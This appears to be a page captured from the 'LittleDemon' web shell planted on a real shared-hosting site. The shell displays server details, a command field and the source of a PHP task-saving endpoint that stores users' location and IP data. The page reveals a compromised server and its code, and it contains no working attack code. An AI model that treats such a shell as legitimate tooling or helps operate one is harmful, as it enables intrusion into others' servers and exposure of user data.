LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/save_task.php

<?php
require_once "db.php";

$data = json_decode(file_get_contents("php://input"), true);

if (!isset($data['task']) || !isset($data['latitude']) || !isset($data['longitude']) || !isset($data['ip'])) {
    http_response_code(400);
    echo json_encode(["error" => "Missing required fields"]);
    exit;
}

if (!isset($_SESSION['user_id'])) {
    http_response_code(403);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}
$user_id = $_SESSION['user_id'];



// sanitize inputs
$task = $conn->real_escape_string($data['task']);
$lat = $conn->real_escape_string($data['latitude']);
$lon = $conn->real_escape_string($data['longitude']);
$ip = $conn->real_escape_string($data['ip']);
$hostname = isset($data['hostname']) ? $conn->real_escape_string($data['hostname']) : '';
$org = isset($data['org']) ? $conn->real_escape_string($data['org']) : '';
$postal = isset($data['postal']) ? $conn->real_escape_string($data['postal']) : '';
$timezone = isset($data['timezone']) ? $conn->real_escape_string($data['timezone']) : '';
$loc = isset($data['loc']) ? $conn->real_escape_string($data['loc']) : '';

$city = isset($data['city']) ? $conn->real_escape_string($data['city']) : '';
$region = isset($data['region']) ? $conn->real_escape_string($data['region']) : '';
$country = isset($data['country']) ? $conn->real_escape_string($data['country']) : '';


$sql = "INSERT INTO tasks (task, latitude, longitude, ip, hostname, city, region, country, org, postal, timezone, loc, user_id) 
        VALUES ('$task', '$lat', '$lon', '$ip', '$hostname', '$city', '$region', '$country', '$org', '$postal', '$timezone', '$loc', $user_id)";


if ($conn->query($sql)) {
    echo json_encode(["success" => true, "id" => $conn->insert_id]);
} else {
    http_response_code(500);
    echo json_encode(["error" => "Insert failed: " . $conn->error]);
}

$conn->close();

LittleDemon - FACEBOOK
[ KELUAR ]